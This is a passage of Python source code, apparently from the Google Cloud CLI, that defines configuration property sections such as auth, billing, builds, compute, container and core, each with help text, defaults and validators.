self._AddBool(\n 'disable_code_verifier',\n default=False,\n hidden=True,\n help_text='Disable code verifier in 3LO auth flow. See '\n 'https://tools.ietf.org/html/rfc7636 for more information '\n 'about code verifier.')\n self.disable_load_google_auth = self._AddBool(\n 'disable_load_google_auth',\n default=False,\n hidden=True,\n help_text='Global switch to turn off loading credentials as '\n 'google-auth. Users can use it to switch back to the old '\n 'mode if google-auth breaks users.')\n self.opt_out_google_auth = self._AddBool(\n 'opt_out_google_auth',\n default=False,\n hidden=True,\n help_text='A switch to disable google-auth for a surface or a command '\n 'group, in case there are some edge cases or google-auth '\n 'does not work for some surface.')\n self.token_introspection_endpoint = self._Add(\n 'token_introspection_endpoint',\n hidden=True,\n help_text='Overrides the endpoint used for token introspection with '\n 'Workload and Workforce Identity Federation. It can be used with '\n 'Private Service Connect.'\n )\n self.login_config_file = self._Add(\n 'login_config_file',\n help_text='Sets the created login configuration file in '\n 'auth/login_config_file. Calling `gcloud auth login` will automatically '\n 'use this login configuration unless it is explicitly unset.')\n self.service_account_use_self_signed_jwt = self._Add(\n 'service_account_use_self_signed_jwt',\n default=False,\n help_text=(\n 'If True, use self signed jwt flow to get service account'\n ' credentials access token. This only applies to service account'\n ' json file and not to the legacy .p12 file.'\n ),\n validator=functools.partial(\n _BooleanValidator, 'service_account_use_self_signed_jwt'\n ),\n choices=('true', 'false'),\n )\n self.service_account_disable_id_token_refresh = self._AddBool(\n 'service_account_disable_id_token_refresh',\n default=False,\n help_text='If True, disable ID token refresh for service account.',\n )\n self.reauth_use_google_auth = self._AddBool(\n 'reauth_use_google_auth',\n hidden=True,\n default=True,\n help_text=(\n 'A switch to choose to use google-auth reauth or oauth2client'\n ' reauth implementation. By default google-auth is used.'\n ),\n )\n\n\nclass _SectionBatch(_Section):\n \"\"\"Contains the properties for the 'batch' section.\"\"\"\n\n def __init__(self):\n super(_SectionBatch, self).__init__('batch')\n\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Batch '\n 'resources. When a `location` value is required but not provided, the '\n 'command will fall back to this value, if set.')\n\n\nclass _SectionBilling(_Section):\n \"\"\"Contains the properties for the 'auth' section.\"\"\"\n\n LEGACY = 'LEGACY'\n CURRENT_PROJECT = 'CURRENT_PROJECT'\n CURRENT_PROJECT_WITH_FALLBACK = 'CURRENT_PROJECT_WITH_FALLBACK'\n\n def __init__(self):\n super(_SectionBilling, self).__init__('billing')\n\n self.quota_project = self._Add(\n 'quota_project',\n default=_SectionBilling.CURRENT_PROJECT,\n help_text=textwrap.dedent(\"\"\"\\\n The Google Cloud project that is billed and charged quota for\n operations performed in `gcloud`. When unset, the default is\n [CURRENT_PROJECT]. This default bills and charges quota against the\n current project. If you need to operate on one project, but need to\n bill your usage against or use quota from a different project, you\n can use this flag to specify the billing project. If both\n `billing/quota_project` and `--billing-project` are specified,\n `--billing-project` takes precedence.\n \"\"\"))\n\n\nclass _SectionBlueprints(_Section):\n \"\"\"Contains the properties for the 'blueprints' section.\"\"\"\n\n def __init__(self):\n super(_SectionBlueprints, self).__init__('blueprints', hidden=True)\n self.location = self._Add(\n 'location',\n default='us-central1',\n help_text='The default region to use when working with'\n 'blueprints-related resources. When a `--location` flag is required '\n 'but not provided, the command will fall back to this value, if set.')\n\n self.config_controller = self._Add(\n 'config_controller',\n help_text='The default Config Controller instance to use when working '\n 'with blueprints-related resources. When a `--config-controller` flag '\n 'is required but not provided, the command will fall back to this '\n 'value, if set.')\n\n\nclass _SectionBuilds(_Section):\n \"\"\"Contains the properties for the 'builds' section.\"\"\"\n\n def __init__(self):\n super(_SectionBuilds, self).__init__('builds')\n\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud Build '\n 'resources. When a `--region` flag is required but not provided, the '\n 'command will fall back to this value, if set.')\n self.timeout = self._Add(\n 'timeout',\n validator=_BuildTimeoutValidator,\n help_text='Timeout, in seconds, to wait for builds to complete. If '\n 'unset, defaults to 10 minutes.')\n self.check_tag = self._AddBool(\n 'check_tag',\n default=True,\n hidden=True,\n help_text='If True, validate that the --tag value to builds '\n 'submit is in the gcr.io, *.gcr.io, or *.pkg.dev namespace.')\n # TODO(b/118509363): Remove this after its default is True.\n self.use_kaniko = self._AddBool(\n 'use_kaniko',\n default=False,\n help_text='If True, kaniko will be used to build images described by '\n 'a Dockerfile, instead of `docker build`.')\n self.kaniko_cache_ttl = self._Add(\n 'kaniko_cache_ttl',\n default=6,\n help_text='TTL, in hours, of cached layers when using Kaniko. If zero, '\n 'layer caching is disabled.')\n self.kaniko_image = self._Add(\n 'kaniko_image',\n default='gcr.io/kaniko-project/executor:latest',\n hidden=True,\n help_text='Kaniko builder image to use when use_kaniko=True. Defaults '\n 'to gcr.io/kaniko-project/executor:latest')\n\n\nclass _SectionCode(_Section):\n \"\"\"Contains the properties for the 'code' section.\"\"\"\n\n def __init__(self):\n super(_SectionCode, self).__init__('code', hidden=True)\n\n self.minikube_event_timeout = self._Add(\n 'minikube_event_timeout',\n default='90s',\n hidden=True,\n help_text='Terminate the cluster start process if this amount of time '\n 'has passed since the last minikube event.')\n\n self.minikube_path_override = self._Add(\n 'minikube_path_override',\n hidden=True,\n help_text='Location of minikube binary.')\n\n self.skaffold_path_override = self._Add(\n 'skaffold_path_override',\n hidden=True,\n help_text='Location of skaffold binary.')\n\n\nclass _SectionComponentManager(_Section):\n \"\"\"Contains the properties for the 'component_manager' section.\"\"\"\n\n def __init__(self):\n super(_SectionComponentManager, self).__init__('component_manager')\n self.additional_repositories = self._Add(\n 'additional_repositories',\n help_text='Comma separated list of additional repositories to check '\n 'for components. This property is automatically managed by the '\n '`gcloud components repositories` commands.')\n self.disable_update_check = self._AddBool(\n 'disable_update_check',\n help_text='If True, Google Cloud CLI will not automatically check for '\n 'updates.')\n self.disable_warning = self._AddBool(\n 'disable_warning',\n hidden=True,\n help_text='If True, Google Cloud CLI will not display warning messages '\n 'about overridden configurations.')\n self.fixed_sdk_version = self._Add('fixed_sdk_version', hidden=True)\n self.snapshot_url = self._Add('snapshot_url', hidden=True)\n # We need the original snapshot_url because snapshot_url may be\n # overwritten by users. Without original_snapshot_url, users can be trapped\n # to the overwritten snapshot_url even after it is unset.\n self.original_snapshot_url = self._Add(\n 'original_snapshot_url',\n internal=True,\n hidden=True,\n help_text='Snapshot URL when this installation is firstly installed.',\n default='https://dl.google.com/dl/cloudsdk/channels/rapid/components-2.json'\n )\n\n\nclass _SectionComposer(_Section):\n \"\"\"Contains the properties for the 'composer' section.\"\"\"\n\n def __init__(self):\n super(_SectionComposer, self).__init__('composer')\n self.location = self._Add(\n 'location',\n help_text=(\n 'Composer location to use. Each Composer location '\n 'constitutes an independent resource namespace constrained to '\n 'deploying environments into Compute Engine regions inside this '\n 'location. This parameter corresponds to the '\n '/locations/ segment of the Composer resource URIs being '\n 'referenced.'))\n\n\nclass _SectionCompute(_Section):\n \"\"\"Contains the properties for the 'compute' section.\"\"\"\n\n def __init__(self):\n super(_SectionCompute, self).__init__('compute')\n self.zone = self._Add(\n 'zone',\n help_text='Default zone to use when working with zonal Compute '\n 'Engine resources. When a `--zone` flag is required but not provided, '\n 'the command will fall back to this value, if set. To see valid '\n 'choices, run `gcloud compute zones list`.',\n completer=('googlecloudsdk.command_lib.compute.completers:'\n 'ZonesCompleter'))\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with regional Compute'\n ' Engine resources. When a `--region` flag is required but not '\n 'provided, the command will fall back to this value, if set. To see '\n 'valid choices, run `gcloud compute regions list`.',\n completer=('googlecloudsdk.command_lib.compute.completers:'\n 'RegionsCompleter'))\n self.gce_metadata_read_timeout_sec = self._Add(\n 'gce_metadata_read_timeout_sec',\n default=20,\n help_text='Timeout of requesting data from gce metadata endpoints.',\n hidden=True)\n self.gce_metadata_check_timeout_sec = self._Add(\n 'gce_metadata_check_timeout_sec',\n default=3,\n help_text='Timeout of checking if it is on gce environment.',\n hidden=True)\n self.use_new_list_usable_subnets_api = self._AddBool(\n 'use_new_list_usable_subnets_api',\n default=False,\n help_text=(\n 'If True, use the new API for listing usable subnets which only '\n 'returns subnets in the current project.'))\n self.image_family_scope = self._Add(\n 'image_family_scope',\n help_text='Sets how images are selected with image families for '\n 'disk and instance creation. By default, zonal image resources '\n 'are used when using an image family in a public image project, '\n 'and global image resources are used for all other projects. '\n 'To override the default behavior, set this property to `zonal` '\n 'or `global`. ')\n self.iap_tunnel_use_new_websocket = self._AddBool(\n 'iap_tunnel_use_new_websocket',\n default=False,\n help_text='Bool that indicates if we should use new websocket.',\n hidden=True)\n self.force_batch_request = self._AddBool(\n 'force_batch_request',\n default=False,\n help_text='Bool that force all requests are sent as batch request',\n hidden=True)\n\n\nclass _SectionContainer(_Section):\n \"\"\"Contains the properties for the 'container' section.\"\"\"\n\n def __init__(self):\n super(_SectionContainer, self).__init__('container')\n self.cluster = self._Add(\n 'cluster',\n help_text='Name of the cluster to use by default when '\n 'working with Kubernetes Engine.')\n self.use_client_certificate = self._AddBool(\n 'use_client_certificate',\n default=False,\n help_text='If True, use the cluster\\'s client certificate to '\n 'authenticate to the cluster API server.')\n self.use_app_default_credentials = self._AddBool(\n 'use_application_default_credentials',\n default=False,\n help_text='If True, use application default credentials to authenticate'\n ' to the cluster API server.')\n\n self.build_timeout = self._Add(\n 'build_timeout',\n validator=_BuildTimeoutValidator,\n help_text='Timeout, in seconds, to wait for container builds to '\n 'complete.')\n self.build_check_tag = self._AddBool(\n 'build_check_tag',\n default=True,\n hidden=True,\n help_text='If True, validate that the --tag value to container builds '\n 'submit is in the gcr.io or *.gcr.io namespace.')\n\n\nclass _SectionContainerAttached(_Section):\n \"\"\"Contains the properties for the 'container_attached' section.\"\"\"\n\n def __init__(self):\n super(_SectionContainerAttached, self).__init__('container_attached')\n self.location = self._Add(\n 'location',\n help_text=('Default Google Cloud location to use for Attached '\n 'clusters.'))\n\n\nclass _SectionContainerAws(_Section):\n \"\"\"Contains the properties for the 'container_aws' section.\"\"\"\n\n def __init__(self):\n super(_SectionContainerAws, self).__init__('container_aws')\n self.location = self._Add(\n 'location',\n help_text=('Default Google Cloud location to use for Anthos clusters '\n 'on AWS.'))\n\n\nclass _SectionContainerAzure(_Section):\n \"\"\"Contains the properties for the 'container_azure' section.\"\"\"\n\n def __init__(self):\n super(_SectionContainerAzure, self).__init__('container_azure')\n self.location = self._Add(\n 'location',\n help_text=('Default Google Cloud location to use for Anthos clusters '\n 'on Azure.'))\n\n\nclass _SectionContainerBareMetal(_Section):\n \"\"\"Contains the properties for the 'container_bare_metal' section.\"\"\"\n\n def __init__(self):\n super(_SectionContainerBareMetal, self).__init__('container_bare_metal')\n self.location = self._Add(\n 'location',\n help_text=('Default Google Cloud location to use for Anthos clusters '\n 'on Bare Metal.'))\n\n\nclass _SectionContainerVmware(_Section):\n \"\"\"Contains the properties for the 'container_vmware' section.\"\"\"\n\n def __init__(self):\n super(_SectionContainerVmware, self).__init__('container_vmware')\n self.location = self._Add(\n 'location',\n help_text=('Default Google Cloud location to use for Anthos clusters '\n 'on VMware.'))\n\n\nclass _SectionContextAware(_Section):\n \"\"\"Contains the properties for the 'context_aware' section.\"\"\"\n\n def __init__(self):\n super(_SectionContextAware, self).__init__('context_aware')\n self.use_client_certificate = self._AddBool(\n 'use_client_certificate',\n help_text=(\n 'If True, use client certificate to authorize user '\n 'device using Context-aware access. This includes user login '\n 'as well. Some services may not support client certificate '\n 'authorization. If a command sends requests to such services, the '\n 'client certificate will not be validated. '\n 'Run `gcloud topic client-certificate` for list of services '\n 'supporting this feature.'),\n default=False)\n # Only for tests. It is valuable to test that the mTLS endpoints are serving\n # without involving the policy enforcement. The mTLS endpoints are expected\n # to behave identically to the regular endpoints without policy enforcement.\n self.always_use_mtls_endpoint = self._AddBool(\n 'always_use_mtls_endpoint',\n help_text='If True, use the mTLS endpoints regardless of the value of '\n 'context_aware/use_client_certificate.',\n default=False,\n hidden=True)\n self.auto_discovery_file_path = self._Add(\n 'auto_discovery_file_path',\n validator=ExistingAbsoluteFilepathValidator,\n help_text='File path for auto discovery configuration file.',\n hidden=True)\n self.certificate_config_file_path = self._Add(\n 'certificate_config_file_path',\n validator=ExistingAbsoluteFilepathValidator,\n help_text='File path for certificate configuration file.',\n hidden=True)\n\n\nclass _SectionCore(_Section):\n \"\"\"Contains the properties for the 'core' section.\"\"\"\n\n class InteractiveUXStyles(enum.Enum):\n NORMAL = 0\n OFF = 1\n TESTING = 2\n\n def __init__(self):\n super(_SectionCore, self).__init__('core')\n self.account = self._Add(\n 'account',\n help_text='Account `gcloud` should use for authentication. '\n 'Run `gcloud auth list` to see your currently available accounts.')\n self.disable_collection_path_deprecation_warning = self._AddBool(\n 'disable_collection_path_deprecation_warning',\n hidden=True,\n help_text='If False, any usage of collection paths will result in '\n 'deprecation warning. Set it to False to disable it.')\n self.default_regional_backend_service = self._AddBool(\n 'default_regional_backend_service',\n help_text='If True, backend services in `gcloud compute '\n 'backend-services` will be regional by default. Setting the `--global` '\n 'flag is required for global backend services.')\n self.disable_color = self._AddBool(\n 'disable_color',\n help_text='If True, color will not be used when printing messages in '\n 'the terminal.')\n self.disable_command_lazy_loading = self._AddBool(\n 'disable_command_lazy_loading', hidden=True)\n self.disable_prompts = self._AddBool(\n 'disable_prompts',\n help_text='If True, the default answer will be assumed for all user '\n 'prompts. However, for any prompts that require user input, an error '\n 'will be raised. This is equivalent to either using the global '\n '`--quiet` flag or setting the environment variable '\n '`CLOUDSDK_CORE_DISABLE_PROMPTS` to 1. Setting this property is '\n 'useful when scripting with `gcloud`.')\n self.disable_usage_reporting = self._AddBool(\n 'disable_usage_reporting',\n help_text='If True, anonymous statistics on SDK usage will not be '\n 'collected. This value is set by your choices during installation, but '\n 'can be changed at any time. For more information, see '\n '[Usage statistics](/sdk/docs/usage-statistics).')\n self.enable_gri = self._AddBool(\n 'enable_gri',\n default=False,\n hidden=True,\n help_text='If True, the parser for gcloud Resource Identifiers will be '\n 'enabled when interpreting resource arguments.')\n self.enable_feature_flags = self._AddBool(\n 'enable_feature_flags',\n default=True,\n help_text='If True, remote config-file driven feature flags will be '\n 'enabled.')\n self.resource_completion_style = self._Add(\n 'resource_completion_style',\n choices=('flags', 'gri'),\n default='flags',\n hidden=True,\n help_text='The resource completion style controls how resource strings '\n 'are represented in command argument completions. All styles, '\n 'including uri, are handled on input.')\n self.lint = self._Add(\n 'lint',\n # Current runtime lint patterns. Delete from this comment when the\n # pattern usage has been deleted.\n #\n # AddCacheUpdaters: Throws an exception for each command that needs\n # a parser.display_info.AddCacheUpdater() call.\n #\n # When running tests set default=PATTERN[,PATTERN...] here to weed out\n # all occurrences of the patterns. Patterns are checked using substring\n # matching on the lint property string value:\n #\n # if 'AddCacheUpdaters' in properties.VALUES.core.lint.Get():\n # # AddCacheUpdaters lint check enabled.\n default='none',\n hidden=True,\n help_text='Enable the runtime linter for specific patterns. '\n 'Each occurrence of a runtime pattern raises an exception. '\n 'The pattern names are source specific. Consult the source for '\n 'details.')\n self.verbosity = self._Add(\n 'verbosity',\n help_text='Default logging verbosity for `gcloud` commands. This is '\n 'the equivalent of using the global `--verbosity` flag. Supported '\n 'verbosity levels: `debug`, `info`, `warning`, `error`, `critical`, '\n 'and `none`.')\n self.user_output_enabled = self._AddBool(\n 'user_output_enabled',\n help_text='True, by default. If False, messages to the user and command'\n ' output on both standard output and standard error will be'\n ' suppressed.',\n default=True)\n self.interactive_ux_style = self._Add(\n 'interactive_ux_style',\n help_text='How to display interactive UX elements like progress bars '\n 'and trackers.',\n hidden=True,\n default=_SectionCore.InteractiveUXStyles.NORMAL,\n choices=[x.name for x in list(_SectionCore.InteractiveUXStyles)])\n self.log_http = self._AddBool(\n 'log_http',\n help_text='If True, log HTTP requests and responses to the logs. '\n 'To see logs in the terminal, adjust `verbosity` settings. '\n 'Otherwise, logs are available in their respective log files.',\n default=False)\n self.log_http_redact_token = self._AddBool(\n 'log_http_redact_token',\n help_text='If true, this prevents log_http from printing access tokens.'\n ' This property does not have effect unless log_http is true.',\n default=True,\n hidden=True)\n self.log_http_show_request_body = self._AddBool(\n 'log_http_show_request_body',\n help_text='If true, this allows log_http to print the request body'\n ' for debugging purposes on requests with the'\n ' \"redact_request_body_reason\" parameter set on '\n ' core.credentials.transports.GetApitoolsTransports.'\n ' Note: this property does not have any effect unless'\n ' log_http is true.',\n default=False,\n hidden=True)\n self.log_http_streaming_body = self._AddBool(\n 'log_http_streaming_body',\n help_text='If True, log the streaming body instead of logging'\n ' the \"\" text. This flag results in reading the entire'\n ' response body in memory.'\n ' This property does not have effect unless log_http is true.',\n default=False,\n hidden=True)\n self.http_timeout = self._Add('http_timeout', hidden=True)\n self.check_gce_metadata = self._AddBool(\n 'check_gce_metadata', hidden=True, default=True)\n self.print_completion_tracebacks = self._AddBool(\n 'print_completion_tracebacks',\n hidden=True,\n help_text='If True, print actual completion exceptions with traceback '\n 'instead of the nice UX scrubbed exceptions.')\n self.print_unhandled_tracebacks = self._AddBool(\n 'print_unhandled_tracebacks', hidden=True)\n self.print_handled_tracebacks = self._AddBool(\n 'print_handled_tracebacks', hidden=True)\n self.trace_token = self._Add(\n 'trace_token',\n help_text='Token used to route traces of service requests for '\n 'investigation of issues. This token will be provided by Google '\n 'support.')\n self.trace_email = self._Add('trace_email', hidden=True)\n self.trace_log = self._Add('trace_log', default=False, hidden=True)\n self.request_reason = self._Add('request_reason', hidden=True)\n self.pass_credentials_to_gsutil = self._AddBool(\n 'pass_credentials_to_gsutil',\n default=True,\n help_text='If True, pass the configured Google Cloud CLI authentication '\n 'to gsutil.')\n self.api_key = self._Add(\n 'api_key',\n hidden=True,\n help_text='If provided, this API key is attached to all outgoing '\n 'API calls.')\n self.should_prompt_to_enable_api = self._AddBool(\n 'should_prompt_to_enable_api',\n default=True,\n hidden=True,\n help_text='If true, will prompt to enable an API if a command fails due'\n ' to the API not being enabled.')\n self.color_theme = self._Add(\n 'color_theme',\n help_text='Color palette for output.',\n hidden=True,\n default='off',\n choices=['off', 'normal', 'testing'])\n self.use_legacy_flattened_format = self._AddBool(\n 'use_legacy_flattened_format',\n hidden=True,\n default=False,\n help_text='If True, use legacy format for flattened() and text().'\n 'Please note that this option will not be supported indefinitely.')\n\n # Only formats that accept empty projections can be used globally\n supported_global_formats = sorted([\n formats.CONFIG, formats.DEFAULT, formats.DISABLE, formats.FLATTENED,\n formats.JSON, formats.LIST, formats.NONE, formats.OBJECT, formats.TEXT\n ])\n\n def FormatValidator(print_format):\n if print_format and print_format not in supported_global_formats:\n raise UnknownFormatError(print_format, supported_global_formats)\n\n self.format = self._Add(\n 'format',\n validator=FormatValidator,\n help_text=textwrap.dedent(\"\"\"\\\n Sets the format for printing all command resources. This overrides the\n default command-specific human-friendly output format. Use\n `--verbosity=debug` flag to view the command-specific format. If both\n `core/default_format` and `core/format` are specified, `core/format`\n takes precedence. If both `core/format` and `--format` are specified,\n `--format` takes precedence. The supported formats are limited to:\n `{0}`. For more details run $ gcloud topic formats. Run `$ gcloud config\n set --help` to see more information about `core/format`\"\"\".format(\n '`, `'.join(supported_global_formats))))\n\n self.default_format = self._Add(\n 'default_format',\n default='default',\n validator=FormatValidator,\n help_text=textwrap.dedent(\"\"\"\\\n Sets the default format for printing command resources.\n `core/default_format` overrides the default yaml format. If the command\n contains a command-specific output format, it takes precedence over the\n `core/default_format` value. Use `--verbosity=debug` flag to view the\n command-specific format. Both `core/format` and `--format` also take\n precedence over `core/default_format`. The supported formats are limited\n to: `{0}`. For more details run $ gcloud topic formats. Run `$ gcloud\n config set --help` to see more information about\n `core/default_format`\"\"\".format(\n '`, `'.join(supported_global_formats))))\n\n def ShowStructuredLogsValidator(show_structured_logs):\n if show_structured_logs is None:\n return\n if show_structured_logs not in ['always', 'log', 'terminal', 'never']:\n raise InvalidValueError(('show_structured_logs must be one of: '\n '[always, log, terminal, never]'))\n\n self.show_structured_logs = self._Add(\n 'show_structured_logs',\n choices=['always', 'log', 'terminal', 'never'],\n default='never',\n hidden=False,\n validator=ShowStructuredLogsValidator,\n help_text=textwrap.dedent(\"\"\"\\\n Control when JSON-structured log messages for the current verbosity\n level (and above) will be written to standard error. If this property\n is disabled, logs are formatted as `text` by default.\n +\n Valid values are:\n * `never` - Log messages as text\n * `always` - Always log messages as JSON\n * `log` - Only log messages as JSON if stderr is a file\n * `terminal` - Only log messages as JSON if stderr is a terminal\n +\n If unset, default is `never`.\"\"\"))\n\n def MaxLogDaysValidator(max_log_days):\n if max_log_days is None:\n return\n try:\n if int(max_log_days) < 0:\n raise InvalidValueError('Max number of days must be at least 0')\n except ValueError:\n raise InvalidValueError('Max number of days must be an integer')\n\n self.max_log_days = self._Add(\n 'max_log_days',\n validator=MaxLogDaysValidator,\n help_text='Maximum number of days to retain log files before deleting.'\n ' If set to 0, turns off log garbage collection and does not delete log'\n ' files. If unset, the default is 30 days.',\n default='30')\n\n self.disable_file_logging = self._AddBool(\n 'disable_file_logging',\n default=False,\n help_text='If True, `gcloud` will not store logs to a file. This may '\n 'be useful if disk space is limited.')\n\n self.parse_error_details = self._Add(\n 'parse_error_details',\n help_text='If True, `gcloud` will attempt to parse and interpret '\n 'error details in API originating errors. If False, `gcloud` will '\n ' write flush error details as is to stderr/log.',\n default=False)\n\n self.custom_ca_certs_file = self._Add(\n 'custom_ca_certs_file',\n validator=ExistingAbsoluteFilepathValidator,\n help_text='Absolute path to a custom CA cert file.')\n\n def ProjectValidator(project):\n \"\"\"Checks to see if the project string is valid.\"\"\"\n if project is None:\n return\n\n if not isinstance(project, six.string_types):\n raise InvalidValueError('project must be a string')\n if project == '': # pylint: disable=g-explicit-bool-comparison\n raise InvalidProjectError('The project property is set to the '\n 'empty string, which is invalid.')\n if _VALID_PROJECT_REGEX.match(project):\n return\n\n if _LooksLikeAProjectName(project):\n raise InvalidProjectError(\n 'The project property must be set to a valid project ID, not the '\n 'project name [{value}]'.format(value=project))\n # Non heuristics for a better error message.\n raise InvalidProjectError(\n 'The project property must be set to a valid project ID, '\n '[{value}] is not a valid project ID.'.format(value=project))\n\n self.project = self._Add(\n 'project',\n help_text='Project ID of the Cloud Platform project to operate on '\n 'by default. This can be overridden by using the global `--project` '\n 'flag.',\n validator=ProjectValidator,\n completer=('googlecloudsdk.command_lib.resource_manager.completers:'\n 'ProjectCompleter'),\n default_flag='--project')\n self.project_number = self._Add(\n 'project_number',\n help_text='This property is for tests only. It should be kept in sync '\n 'with core/project.',\n internal=True,\n hidden=True)\n\n self.universe_domain = self._Add(\n 'universe_domain', hidden=True, default='googleapis.com')\n\n self.credentialed_hosted_repo_domains = self._Add(\n 'credentialed_hosted_repo_domains', hidden=True)\n\n def ConsoleLogFormatValidator(console_log_format):\n if console_log_format is None:\n return\n if console_log_format not in ['standard', 'detailed']:\n raise InvalidValueError(('console_log_format must be one of: '\n '[standard, detailed]'))\n\n self.console_log_format = self._Add(\n 'console_log_format',\n choices=['standard', 'detailed'],\n default='standard',\n validator=ConsoleLogFormatValidator,\n help_text=textwrap.dedent(\"\"\"\\\n Control the format used to display log messages to the console.\n +\n Valid values are:\n * `standard` - Simplified log messages are displayed on the console.\n * `detailed` - More detailed messages are displayed on the console.\n +\n If unset, default is `standard`.\"\"\"))\n\n\nclass _SectionDataPipelines(_Section):\n \"\"\"Contains the properties for the 'datapipelines' section.\"\"\"\n\n def __init__(self):\n super(_SectionDataPipelines, self).__init__('datapipelines')\n self.disable_public_ips = self._AddBool(\n 'disable_public_ips',\n help_text='Specifies that Cloud Dataflow workers '\n 'must not use public IP addresses.',\n default=False)\n self.enable_streaming_engine = self._AddBool(\n 'enable_streaming_engine',\n help_text='Set this to true to enable Streaming Engine for the job.',\n default=False)\n\n\nclass _SectionDataflow(_Section):\n \"\"\"Contains the properties for the 'dataflow' section.\"\"\"\n\n def __init__(self):\n super(_SectionDataflow, self).__init__('dataflow')\n self.disable_public_ips = self._AddBool(\n 'disable_public_ips',\n help_text='Specifies that Cloud Dataflow workers '\n 'must not use public IP addresses.',\n default=False)\n self.print_only = self._AddBool(\n 'print_only',\n help_text='Prints the container spec to stdout. Does not save in '\n 'Google Cloud Storage.',\n default=False)\n self.enable_streaming_engine = self._AddBool(\n 'enable_streaming_engine',\n help_text='Set this to true to enable Streaming Engine for the job.',\n default=False)\n\n\nclass _SectionDatafusion(_Section):\n \"\"\"Contains the properties for the 'datafusion' section.\"\"\"\n\n def __init__(self):\n super(_SectionDatafusion, self).__init__('datafusion')\n self.location = self._Add(\n 'location',\n help_text=(\n 'Datafusion location to use. Each Datafusion location '\n 'constitutes an independent resource namespace constrained to '\n 'deploying environments into Compute Engine regions inside this '\n 'location. This parameter corresponds to the '\n '/locations/ segment of the Datafusion resource URIs being '\n 'referenced.'))\n\n\nclass _SectionDataplex(_Section):\n \"\"\"Contains the properties for the 'dataplex' section.\"\"\"\n\n def __init__(self):\n super(_SectionDataplex, self).__init__('dataplex')\n self.location = self._Add(\n 'location',\n help_text=(\n 'Dataplex location to use. When a `location` is required but not '\n 'provided by a flag, the command will fall back to this value, if '\n 'set.'))\n self.lake = self._Add(\n 'lake',\n help_text=(\n 'Dataplex lake to use. When a `lake` is required but not '\n 'provided by a flag, the command will fall back to this value, if '\n 'set.'))\n self.zone = self._Add(\n 'zone',\n help_text=(\n 'Dataplex zone to use. When a `zone` is required but not '\n 'provided by a flag, the command will fall back to this value, if '\n 'set.'))\n self.asset = self._Add(\n 'asset',\n help_text=(\n 'Dataplex asset to use. When an `asset` is required but not '\n 'provided by a flag, the command will fall back to this value, if '\n 'set.'))\n\n\nclass _SectionDataproc(_Section):\n \"\"\"Contains the properties for the 'dataproc' section.\"\"\"\n\n def __init__(self):\n super(_SectionDataproc, self).__init__('dataproc')\n self.region = self._Add(\n 'region',\n help_text=(\n 'Dataproc region to use. Each Dataproc region constitutes an '\n 'independent resource namespace constrained to deploying instances '\n 'into Compute Engine zones inside the region.'))\n self.location = self._Add(\n 'location',\n help_text=(\n 'Dataproc location to use. Each Dataproc location constitutes an '\n 'independent resource namespace constrained to deploying instances '\n 'into Compute Engine zones inside the location.'))\n\n\nclass _SectionDeclarative(_Section):\n \"\"\"Contains the properties for the 'declarative' section.\"\"\"\n\n def __init__(self):\n super(_SectionDeclarative, self).__init__('declarative')\n self.client = self._Add(\n 'client_type',\n choices=['dcl', 'kcc'],\n help_text='Underlying declarative client library to use for declarative commands.',\n default='kcc')\n self.format = self._Add(\n 'format',\n choices=['krm', 'terraform'],\n help_text='Declarative format to use for declarative commands.',\n default='krm')\n\n\nclass _SectionDeploy(_Section):\n \"\"\"Contains the properties for the 'deploy' section.\"\"\"\n\n def __init__(self):\n super(_SectionDeploy, self).__init__('deploy')\n self.region = self._Add(\n 'region',\n help_text=(\n 'Cloud Deploy region to use. Each Cloud Deploy '\n 'region constitutes an independent resource namespace constrained '\n 'to deploying instances into Compute Engine zones inside '\n 'the region.'))\n self.delivery_pipeline = self._Add(\n 'delivery_pipeline',\n help_text=('Delivery Pipeline being managed by Cloud Deploy.'))\n\n\nclass _SectionDeploymentManager(_Section):\n \"\"\"Contains the properties for the 'deployment_manager' section.\"\"\"\n\n def __init__(self):\n super(_SectionDeploymentManager, self).__init__('deployment_manager')\n self.glob_imports = self._AddBool(\n 'glob_imports',\n default=False,\n help_text=(\n 'Enable import path globbing. Uses glob patterns to match multiple '\n 'imports in a config file.'))\n\n\nclass _SectionDevshell(_Section):\n \"\"\"Contains the properties for the 'devshell' section.\"\"\"\n\n def __init__(self):\n super(_SectionDevshell, self).__init__('devshell')\n self.image = self._Add(\n 'image', hidden=True, default=const_lib.DEFAULT_DEVSHELL_IMAGE)\n self.metadata_image = self._Add(\n 'metadata_image', hidden=True, default=const_lib.METADATA_IMAGE)\n\n\nclass _SectionDiagnostics(_Section):\n \"\"\"Contains the properties for the 'diagnostics' section.\"\"\"\n\n def __init__(self):\n super(_SectionDiagnostics, self).__init__('diagnostics', hidden=True)\n self.hidden_property_allowlist = self._Add(\n 'hidden_property_allowlist',\n internal=True,\n help_text=('Comma separated list of hidden properties that should be '\n 'allowed by the hidden properties diagnostic.'))\n\n\nclass _SectionEdgeContainer(_Section):\n \"\"\"Contains the properties for the 'edge_container' section.\"\"\"\n\n def __init__(self):\n super(_SectionEdgeContainer, self).__init__('edge_container', hidden=True)\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Private CA '\n 'resources. When a `--location` flag is required but not provided, the '\n 'command will fall back to this value, if set.')\n\n\nclass _SectionEmulator(_Section):\n \"\"\"Contains the properties for the 'emulator' section.\n\n This is used to configure emulator properties for pubsub and datastore, such\n as host_port and data_dir.\n \"\"\"\n\n def __init__(self):\n super(_SectionEmulator, self).__init__('emulator', hidden=True)\n self.datastore_data_dir = self._Add('datastore_data_dir')\n self.pubsub_data_dir = self._Add('pubsub_data_dir')\n self.datastore_host_port = self._Add(\n 'datastore_host_port', default='localhost:8081')\n self.pubsub_host_port = self._Add(\n 'pubsub_host_port', default='localhost:8085')\n self.bigtable_host_port = self._Add(\n 'bigtable_host_port', default='localhost:8086')\n\n\nclass _SectionEventarc(_Section):\n \"\"\"Contains the properties for the 'eventarc' section.\"\"\"\n\n def __init__(self):\n super(_SectionEventarc, self).__init__('eventarc')\n self.location = self._Add(\n 'location',\n help_text='The default location to use when working with Eventarc '\n \"resources. This should be either ``global'' or one of the supported \"\n 'regions. When a `--location` flag is required but not provided, the '\n 'command will fall back to this value, if set.')\n\n\nclass _SectionExperimental(_Section):\n \"\"\"Contains the properties for gcloud experiments.\"\"\"\n\n def __init__(self):\n super(_SectionExperimental, self).__init__('experimental', hidden=True)\n self.fast_component_update = self._AddBool(\n 'fast_component_update',\n 